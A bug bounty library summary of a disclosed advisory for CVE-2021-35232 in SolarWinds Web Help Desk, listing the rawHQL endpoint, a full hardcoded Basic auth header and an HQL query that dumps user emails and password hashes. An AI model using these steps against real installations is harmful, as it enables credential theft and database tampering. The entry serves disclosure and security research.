# Advisory: Solarwinds Web Help Desk Arbitrary HQL Evaluation (CVE-2021-35232)

Hardcoded credentials in SolarWinds Web Help Desk allow unauthenticated arbitrary HQL queries, exposing admin password hashes and enabling DB writes.

- Payout: Research
- Severity: critical
- Program: SolarWinds Web Help Desk
- Credited: Assetnote
- Disclosed: 2024-01-31
- CVE: CVE-2021-35232
- Write-up quality: 6/10
- Original: https://www.assetnote.io/resources/research/advisory-solarwinds-web-help-desk-arbitrary-hql-evaluation-cve-2021-35232
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-advisory-solarwinds-web-help-desk-arbitrary-hql-evaluation-cve-2021-35232
- Tags: domain:web impact:data-leak impact:integrity kind:research platform:research sev:critical tech:java technique:source-review vuln:auth-bypass vuln:sqli

**Target:** Web Help Desk web endpoint /helpdesk/assetReport/rawHQL
**Root cause:** Hard-coded Basic auth credentials ship in the product and the rawHQL endpoint passes request body directly to Hibernate HQL evaluation without authorization checks.
**Steps:**
1. Send `POST /helpdesk/assetReport/rawHQL` with `Authorization: Basic aGVscGRlc2s5MTExNEFENzdCNENEQ0Q5RTE4NzcxMDU3MTkwQzA4QjoxQTExRTQzMTg1M0Y0Q0M5OUMyN0JGNzI5NDc5RUI1RA==`
2. Set `Content-Type: text/plain` and body `select email,password from Tech`
3. Observe response returning user email and SHA password hash
4. XSRF token/cookie can be forged or omitted; no auth required
**Exploitation:** Attacker uses the hardcoded Basic credentials (or forges XSRF) to POST arbitrary HQL to rawHQL, dumping Tech table email/password hashes including admins, and can run INSERT/UPDATE/DELETE on any table with a Hibernate model.
**Insight:** Look for endpoints that accept raw query language (HQL/JPQL/SOQL) and check whether shipped default Basic auth credentials bypass the auth layer entirely.